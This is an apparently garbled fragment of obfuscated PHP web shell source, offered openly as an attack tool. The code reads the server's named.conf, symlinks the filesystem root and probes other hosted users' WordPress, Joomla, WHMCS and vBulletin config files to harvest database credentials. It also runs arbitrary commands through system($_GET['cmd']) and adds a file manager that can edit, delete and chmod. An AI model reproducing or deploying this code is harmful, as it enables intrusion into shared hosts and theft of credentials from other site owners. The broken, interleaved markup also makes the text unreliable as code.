"; foreach ($IIIIIIIIIllI as $IIIIIIIIIll1) { if (eregi('zone', $IIIIIIIIIll1)) { preg_match_all('#zone "(.*)"#', $IIIIIIIIIll1, $IIIIIIIIIl11); flush(); if (strlen(trim($IIIIIIIIIl11[1][0])) > 2) { $IIIIIIIII1I1 = posix_getpwuid(@fileowner('/etc/valiases/' . $IIIIIIIIIl11[1][0])); $IIIIIIIII1l1 = $IIIIIIIIIIIl . '/sym/root/home/' . $IIIIIIIII1I1['name'] . '/public_html/wp-config.php'; $IIIIIIIII11I = get_headers($IIIIIIIII1l1); $IIIIIIIII11l = $IIIIIIIII11I[0]; $IIIIIIIII111 = $IIIIIIIIIIIl . '/sym/root/home/' . $IIIIIIIII1I1['name'] . '/public_html/blog/wp-config.php'; $IIIIIIIIlIII = get_headers($IIIIIIIII111); $IIIIIIIIlIIl = $IIIIIIIIlIII[0]; $IIIIIIIIlII1 = $IIIIIIIIIIIl . '/sym/root/home/' . $IIIIIIIII1I1['name'] . '/public_html/configuration.php'; $IIIIIIIIlIlI = get_headers($IIIIIIIIlII1); $IIIIIIIIlIll = $IIIIIIIIlIlI[0]; $IIIIIIIIlIl1 = $IIIIIIIIIIIl . '/sym/root/home/' . $IIIIIIIII1I1['name'] . '/public_html/joomla/configuration.php'; $IIIIIIIIlI1I = get_headers($IIIIIIIIlIl1); $IIIIIIIIlI1l = $IIIIIIIIlI1I[0]; $IIIIIIIIlI11 = $IIIIIIIIIIIl . '/sym/root/home/' . $IIIIIIIII1I1['name'] . '/public_html/includes/config.php'; $IIIIIIIIllII = get_headers($IIIIIIIIlI11); $IIIIIIIIllIl = $IIIIIIIIllII[0]; $IIIIIIIIllI1 = $IIIIIIIIIIIl . '/sym/root/home/' . $IIIIIIIII1I1['name'] . '/public_html/vb/includes/config.php'; $IIIIIIIIlllI = get_headers($IIIIIIIIllI1); $IIIIIIIIllll = $IIIIIIIIlllI[0]; $IIIIIIIIlll1 = $IIIIIIIIIIIl . '/sym/root/home/' . $IIIIIIIII1I1['name'] . '/public_html/forum/includes/config.php'; $IIIIIIIIll1I = get_headers($IIIIIIIIlll1); $IIIIIIIIll1l = $IIIIIIIIll1I[0]; $IIIIIIIIll11 = $IIIIIIIIIIIl . '/sym/root/home/' . $IIIIIIIII1I1['name'] . 'public_html/clients/configuration.php'; $IIIIIIIIl1II = get_headers($IIIIIIIIll11); $IIIIIIIIl1Il = $IIIIIIIIl1II[0]; $IIIIIIIIl1I1 = $IIIIIIIIIIIl . '/sym/root/home/' . $IIIIIIIII1I1['name'] . '/public_html/support/configuration.php'; $IIIIIIIIl1II = get_headers($IIIIIIIIl1I1); $IIIIIIIIl1lI = $IIIIIIIIl1II[0]; $IIIIIIIIl1ll = $IIIIIIIIIIIl . '/sym/root/home/' . $IIIIIIIII1I1['name'] . '/public_html/client/configuration.php'; $IIIIIIIIl1l1 = get_headers($IIIIIIIIl1ll); $IIIIIIIIl11I = $IIIIIIIIl1l1[0]; $IIIIIIIIl11l = $IIIIIIIIIIIl . '/sym/root/home/' . $IIIIIIIII1I1['name'] . '/public_html/submitticket.php'; $IIIIIIIIl111 = get_headers($IIIIIIIIl11l); $IIIIIIII1III = $IIIIIIIIl111[0]; $IIIIIIII1IIl = $IIIIIIIIIIIl . '/sym/root/home/' . $IIIIIIIII1I1['name'] . '/public_html/client/configuration.php'; $IIIIIIII1II1 = get_headers($IIIIIIII1IIl); $IIIIIIII1IlI = $IIIIIIII1II1[0]; $IIIIIIII1Ill = strpos($IIIIIIIII11l, '200'); $IIIIIIII1I1I = ' '; if (strpos($IIIIIIIII11l, '200') == true) { $IIIIIIII1I1I = "Wordpress"; } elseif (strpos($IIIIIIIIlIIl, '200') == true) { $IIIIIIII1I1I = "Wordpress"; } elseif (strpos($IIIIIIIIlIll, '200') == true and strpos($IIIIIIII1III, '200') == true) { $IIIIIIII1I1I = " WHMCS"; } elseif (strpos($IIIIIIIIl1lI, '200') == true) { $IIIIIIII1I1I = " WHMCS"; } elseif (strpos($IIIIIIIIl11I, '200') == true) { $IIIIIIII1I1I = " WHMCS"; } elseif (strpos($IIIIIIIIlIll, '200') == true) { $IIIIIIII1I1I = " Joomla"; } elseif (strpos($IIIIIIIIlI1l, '200') == true) { $IIIIIIII1I1I = " Joomla"; } elseif (strpos($IIIIIIIIllIl, '200') == true) { $IIIIIIII1I1I = " vBulletin"; } elseif (strpos($IIIIIIIIllll, '200') == true) { $IIIIIIII1I1I = " vBulletin"; } elseif (strpos($IIIIIIIIll1l, '200') == true) { $IIIIIIII1I1I = " vBulletin"; } else { continue; } $IIIIIIII1I1l = $IIIIIIIII1I1['name']; echo ''; flush(); } } } } break; case 'sym': $IIIIIIIIIllI = @file('/etc/named.conf'); if (!$IIIIIIIIIllI) { die(" can't read /etc/named.conf"); } else { echo "

Domains	Script
' . $IIIIIIIIIl11[1][0] . '	' . $IIIIIIII1I1I . '

"; foreach ($IIIIIIIIIllI as $IIIIIIIIIll1) { if (eregi('zone', $IIIIIIIIIll1)) { preg_match_all('#zone "(.*)"#', $IIIIIIIIIll1, $IIIIIIIIIl11); flush(); if (strlen(trim($IIIIIIIIIl11[1][0])) > 2) { $IIIIIIIII1I1 = posix_getpwuid(@fileowner('/etc/valiases/' . $IIIIIIIIIl11[1][0])); $IIIIIIII1I1l = $IIIIIIIII1I1['name']; @symlink('/', 'sym/root'); $IIIIIIII1I1l = $IIIIIIIIIl11[1][0]; $IIIIIIII1I11 = '\.ir'; $IIIIIIII1lII = '\.il'; if (eregi("$IIIIIIII1I11", $IIIIIIIIIl11[1][0]) or eregi("$IIIIIIII1lII", $IIIIIIIIIl11[1][0])) { $IIIIIIII1I1l = "'; } echo " "; flush(); } } } } break; case 'file': echo ' The file path to symlink







'; $IIIIIIII1lIl = $_POST['file']; $symfile = $_POST['symfile']; $symlink = $_POST['symlink']; if ($symlink) { @symlink("$IIIIIIII1lIl", "sym/$symfile"); echo '
' . $symfile . ''; } break; default: header("Location: $IIIIIIIIIlIl"); } } ?>

[os] Exploit:~$ "; $asu = system($_GET['cmd']); return $asu; echo ""; } ?> Home Domains & Symlink Domains & Script Symlink File '; ?> '; foreach($scandir as $dir){ if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue; echo " "; } echo '
'; foreach($scandir as $file){ if(!is_file("$path/$file")) continue; $size = filesize("$path/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; }else{ $size = $size.' KB'; } echo ""; } echo '

Domains	Users	symlink
' . $IIIIIIII1I1l . '	' . $IIIIIIIII1I1['name'] . "	symlink
File	Size	Perm	Action
..	NONE	LINK	New File New Dir
$dir	DIR	"; if(is_writable("$path/$dir")) echo ''; elseif(!is_readable("$path/$dir")) echo ''; echo perms("$path/$dir"); if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo ''; echo "	Rename Delete Chmod
$file	".$size."	"; if(is_writable("$path/$file")) echo ''; elseif(!is_readable("$path/$file")) echo ''; echo perms("$path/$file"); if(is_writable("$path/$file") || !is_readable("$path/$file")) echo ''; echo "	Edit Rename Delete Chmod